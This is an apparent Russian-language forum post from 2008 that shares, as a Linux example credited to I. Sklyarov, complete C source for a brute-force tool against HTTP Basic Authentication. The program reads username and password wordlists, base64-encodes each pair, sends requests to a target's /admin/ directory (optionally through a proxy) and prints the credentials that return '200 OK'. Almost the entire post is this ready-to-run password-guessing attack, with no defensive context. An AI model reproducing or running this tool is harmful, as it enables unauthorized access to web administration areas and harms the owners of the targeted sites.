| Digimortal |
24.02.2008 02:59 |
пример под линух by И.Скляров..
Код:
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#define USER "users.txt"
#define PASS "words.txt"
#define CATALOG "/admin/"
static char table64[]=
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
char *port_host;
char *name;
void token(char *arg)
{
name = strtok(arg, ":");
port_host = strtok(NULL, "");
if (port_host == NULL)
port_host = "80";
}
void base64Encode(char *intext, char *output)
{
unsigned char ibuf[3];
unsigned char obuf[4];
int i;
int inputparts;
while(*intext) {
for (i = inputparts = 0; i < 3; i++) {
if(*intext) {
inputparts++;
ibuf[i] = *intext;
intext++;
}
else
ibuf[i] = 0;
}
obuf [0] = (ibuf [0] & 0xFC) >> 2;
obuf [1] = ((ibuf [0] & 0x03) << 4) | ((ibuf [1] & 0xF0) >> 4);
obuf [2] = ((ibuf [1] & 0x0F) << 2) | ((ibuf [2] & 0xC0) >> 6);
obuf [3] = ibuf [2] & 0x3F;
switch(inputparts) {
case 1: /* only one byte read */
sprintf(output, "%c%c==",
table64[obuf[0]],
table64[obuf[1]]);
break;
case 2: /* two bytes read */
sprintf(output, "%c%c%c=",
table64[obuf[0]],
table64[obuf[1]],
table64[obuf[2]]);
break;
default:
sprintf(output, "%c%c%c%c",
table64[obuf[0]],
table64[obuf[1]],
table64[obuf[2]],
table64[obuf[3]] );
break;
}
output += 4;
}
*output=0;
}
int main(int argc, char **argv)
{
FILE *fd1, *fd2;
int sd, bytes;
char buf1[250], buf2[250];
char buf[250];
char str1[270], str2[100];
struct hostent* host;
struct sockaddr_in servaddr;
char rez[2000];
char c[600];
if (argc < 2 || argc > 3) {
fprintf(stderr, "Usage: %s host[:port] [proxy][:port]\n\n", argv[0]);
exit(-1);
}
if (argc == 3)
token(argv[2]);
else
token(argv[1]);
if ( (host = gethostbyname(name)) == NULL) {
herror("gethostbyname() failed");
exit(-1);
}
bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(atoi(port_host));
servaddr.sin_addr = *((struct in_addr *)host->h_addr);
if ( (fd1 = fopen(USER, "r")) == NULL) {
perror("fopen() failed");
exit(-1);
}
while(fgets(buf1, 250, fd1) != NULL)
{
buf1[strcspn(buf1, "\r\n\t")] = 0;
if (strlen(buf1) == 0) continue;
if( (fd2 = fopen(PASS, "r")) == NULL) {
perror("fopen() failed");
exit(-1);
}
while(fgets(buf2, 250, fd2) != NULL)
{
buf2[strcspn(buf2, "\r\n\t")] = 0;
if (strlen(buf2) == 0) continue;
sprintf(c, "%s:%s", buf1, buf2);
base64Encode(c, rez);
if ( (sd = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
perror("socket() failed");
exit(-1);
}
if (connect(sd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1) {
perror("connect() failed");
exit(-1);
}
if (argc == 2)
sprintf(str1, "GET %s HTTP/1.1\r\n", CATALOG);
else
sprintf(str1, "GET http://%s%s HTTP/1.1\r\n", argv[1], CATALOG);
sprintf(str2, "Host:%s\r\nAuthorization: Basic %s\r\n\r\n", argv[1], rez);
send(sd, str1, strlen(str1), 0);
send(sd, str2, strlen(str2), 0);
bzero(buf, 250);
bytes = recv(sd, buf, sizeof(buf)-1, 0);
buf[bytes] = 0;
if (strstr(buf, "200 OK") != NULL) {
printf("======================================\n");
printf("%s", str1);
printf("%s\n", str2);
printf("Result OK: %s\n", c);
printf("======================================\n");
}
close(sd);
}
}
return 0;
}
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